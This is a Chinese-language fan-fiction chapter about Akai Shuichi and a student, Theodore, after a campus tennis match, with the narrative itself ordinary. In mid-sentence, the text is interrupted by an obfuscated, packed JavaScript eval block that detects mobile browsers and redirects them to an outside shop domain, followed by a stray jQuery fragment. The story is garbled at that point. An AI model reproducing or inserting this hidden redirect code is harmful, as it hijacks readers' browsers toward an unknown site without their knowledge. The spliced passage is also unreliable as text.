球场上的时间过得出人意料地快，马里兰网球社六比四赢下了比赛。对手很有风度地握手、收拾东西下场。伦菲尔德过来拍了拍狄奥多的肩膀，说“下次还叫你”。
“下次给钱。”狄奥多毫不客气。
伦菲尔德嗤了一声，朝赤井秀一的方向抬了抬下巴：“你同系的？”
“哼。走了，晚上还有事。”狄奥多没理他，把球包整理好还给伦菲尔德，干脆地挥挥手表示走了，把伦菲尔德扔在了后面。
伦菲尔德看着他们走远，摸了摸下巴，干脆跑去问部里其他的犯罪学学生——
“他？不是大一的吧，不脸熟。”
“费卢斯，别犯傻了，那是大三的，你问新人怎么问得到。”
“名字？这么一说……他好像是外国人啊。不过大家都叫基利安就是了……”
狄奥多走到场边，在长椅另一端坐下。赤井秀一还保持着刚才的姿势，手插在口袋里，看着逐渐空下来的球场。
“打得不错。”赤井秀一看着他，轻轻笑了笑。
“我以为你会说‘还行’。”狄奥多拨开几缕汗湿的金发。
“还行是给做课题的人用的。”赤井秀一认真地说，“你打球是不错。”
狄奥多笑了一下。他把外套搭在椅背上，靠了上去，四月的晚风还是挺凉的。夕阳的光线没有昨天那么强，橘红色的，把两个人的影子拉得很长。
“你平时打网球？”赤井秀一又问。
“不算。”狄奥多说，“虽然是从小学的，但打得都不怎么认真。我对球类运动都没什么热情。”
看来这也算某种“礼仪必需品”了，赤井秀一立刻想通了：
“那今天怎么赢了？”
狄奥多想了想。
“可能是因为有人看吧。我可不想输得太难看。结果打着打着居然打赢了。”他说着，开了个玩笑。
赤井秀一也笑了。笑狄奥多喜欢自谦的样子真不像个艾美利卡人。
两个人沉默了一会儿。远处有学生在草坪上玩飞盘，笑声飘过来，又散了。
赤井秀一忽然开口：“你说的那个远亲，他姓什么来着？”
狄奥多愣了一下。
“费卢斯·伦菲尔德。”他说，“中间名西蒙斯。怎么了？”
“没什么。”赤井秀一说，“记记名字。”
他说这话的时候语气很随意，但狄奥多知道赤井秀一不是那种会“随便记住名字”的人。他记住一个名字，是因为他觉得以后可能用得上。
狄奥多没有追问。
他只是把伦菲尔德的姓氏在心里又过了一遍，然后站起来，拿起球包。
“走吧，”他说，“我请你喝东西。”
赤井秀一也站了起来，拍拍裤子后面不存在的灰。
“你请我喝东西，然后算扯平？”他问。
“你想得美。”狄奥多说，“这只是利息。本金以后慢慢还。”
赤井秀一看了他一眼——到底谁才是那个欠债的啊？
那双绿色的眼睛在霞光里变得很深，像是盛了半杯茶。
“行。”赤井秀一却没说什么，“那走吧。”
两个人走出网球场，沿着小路往学生中心走。落日把他们的影子并排投在地上，一长一短，短的只是因为狄奥多走快了半步，又慢下来，让两个人齐平。
狄奥多不知道这算不算赔礼。
但他知道，这是初审结束后，他最不觉得自己在“撑着”的一个下午。
他忽然想起基甸在结案时对他说过的一句话——“有时候，正常的生活本身就是一种修复。”
当时狄奥多没法相信。
现在他觉得自己可能信了一点点。
他又走了几步，忽然想到什么，语气随意道：“对了，你身手这么好，要不要什么时候跟我去我常去的那个俱乐部看看？就在大学城里，很近。”
狄奥多说出这话的时候语气很自然，准确地说是理所当然。他是真的觉得赤井秀一会感兴趣，也真的觉得带对方去是件很自然的事。
这俱乐部不是拳击馆那种地方，更像是一个半地下的训练空间，什么都有——沙袋、靶子、垫子，偶尔有人约着切磋，更多时候是自己练自己的。狄奥多最早是被科尼带去的，后来跟里面的几个大学生混熟了，那里就成了他每周固定的去处。一个人在那边练到出汗，脑子里什么都不想，比躺在宿舍床上翻来覆去要好得多。
不过最近确实有些懈怠了，需要关心的事情太多，挤压了狄奥多不少的时间。
狄奥多看看同行的人，等着青年的回应。
赤井秀一没有立刻说话。青年放慢了脚步，鞋底在水泥路面上拖出一声轻响。然后他开口了，语气却变成了一种不咸不淡的调子：
“我还有事。要提前走了。”
狄奥多愣了一下。他的步子慢了半拍，然后又跟上来，表情里有一点没藏住的茫然——不是被拒绝的失落，更像是一种没跟上节奏的困惑。他们才刚从球场出来，太阳还没落山，之前也没听对方说今天有别的安排。
“哦，”他说，点了点头，“那下次吧。”
赤井秀一没有接这个话题。他低头看了一眼手表，然后抬起头，目光落在前方缓缓下沉的落日上，像是那个方向有什么非看不可的东西。
两个人又走了几步。学生中心的轮廓已经从树梢后面露出来了，红砖墙面在夕阳里泛着暖暖的光。狄奥多想再说点什么，但话到嘴边又咽了回去，因为他感觉到赤井秀一似乎已经不在这个对话里了——他的肩膀微微绷着，步伐虽然没有加快，但整个人透出一种神思不属的疏离感。
到了学生中心门口，赤井秀一把包往肩上一拎，没有拐进去的意思。
“我往这边。”他朝另一条路偏了偏下巴。
狄奥多站在台阶上，看着他走。赤井秀一走了几步，没回头。他的背影在傍晚的光里显得很干净——深蓝色的外套像夜空一样，黑发似乎又长了些，走得很快，像赶时间。
狄奥多看着那个背影消失在拐角，才转身推开了学生中心的门。
他不知道的是，赤井秀一在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537300|202170||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
拐过那个弯之后，脚步就慢了下来。
他没有直接去停车场，而是在一排行道树旁的长椅上坐了下来。夕阳已经落到了建筑物后面，整个停车场有一半陷入了阴影里，只剩下远处的树梢还被光照着，像一排燃烧的火把。
赤井秀一坐在那里，解开了外套的扣子，靠着椅背，仰起头看着那些光秃秃的树枝。
他在想一件事。不是明天要交的论文，不是下周的小组汇报，而是一件他不太愿意想、但又不得不承认已经发生的事——
他对狄奥多的态度，是不是有点过界了？
不是今天。今天不是第一次。今天只是让他忽然意识到，他已经在不知不觉中，把对狄奥多的关注，调到了一个需要重新审视的刻度。
他不排斥狄奥多。甚至可以说，他欣赏狄奥多。但欣赏和“被拉进某种节奏”是两回事。
赤井秀一皱着眉，在长椅上坐了一会儿。暮色从四周涌上来，把影子吞掉，把颜色也吞掉。他没有立刻想明白自己到底哪里“不对劲”——因为一切都太细微了，细微到如果换了任何一个人，根本不会注意到这种程度的偏移。但赤井秀一能注意到。他是那种对自己边界极其敏感的人，就像猫的胡须，触到任何东西都会第一时间反馈。但那个早晨，或者这周一的中午，却都在告诉他，无论是往前一步，还是后退一步，在狄奥多面前都是无效的。
今天下午他答应了来看网球赛，本身就是一种偏移。他本来应该在图书馆准备下周的汇报材料。但他来了，还看完了一整场。
刚才狄奥多提起那个俱乐部的时候，赤井秀一的脑子里第一反应不是“没兴趣”，而是一种更本能的警觉——一种“再近一步就会让自己不舒服”的预判。所以他转移了话题，用“还有事”和“要提前走了”把自己从那个场景里解放了出来。
不是狄奥多的问题。赤井秀一很确定这一点。
是他在自己身上，看到了一个不太想看到的倾向。
青年的目光漫无目的地扫过这片校园的角落。地上的落花总是扫不干净，斜对角的远处有一台自动贩卖机。
那是一种……一度被他批判为逃避的倾向。一种对稳定、对日常、对“普通”的隐秘渴望。他花了太长时间让自己不需要这些东西，因此也不希望被一个眼神温和、说话好听、会在他面前笑得像个普通人的学弟，轻易在他的战壕上挖出一个洞来。
赤井秀一闭上眼睛，深吸了一口气，再睁开。
口袋里的手机震了一下。
赤井秀一掏出来一看，是玛莎教授。短信内容简明：
[现在有空吗？我这里有位来短期学习的博士，或许你可以带他参观一下校园。主要是档案馆和图书馆。他研究方向特殊，犯罪心理学这方面高年级里你最熟。]
赤井秀一看了两遍这条短信。不是因为它复杂，而是因为它来得太是时候了——像是玛莎不知从哪里伸了一只手，把他从那条正在下滑的斜坡上拽住了。
他站起来，把外套上的褶皱抚平，回复了一个字：
[好。]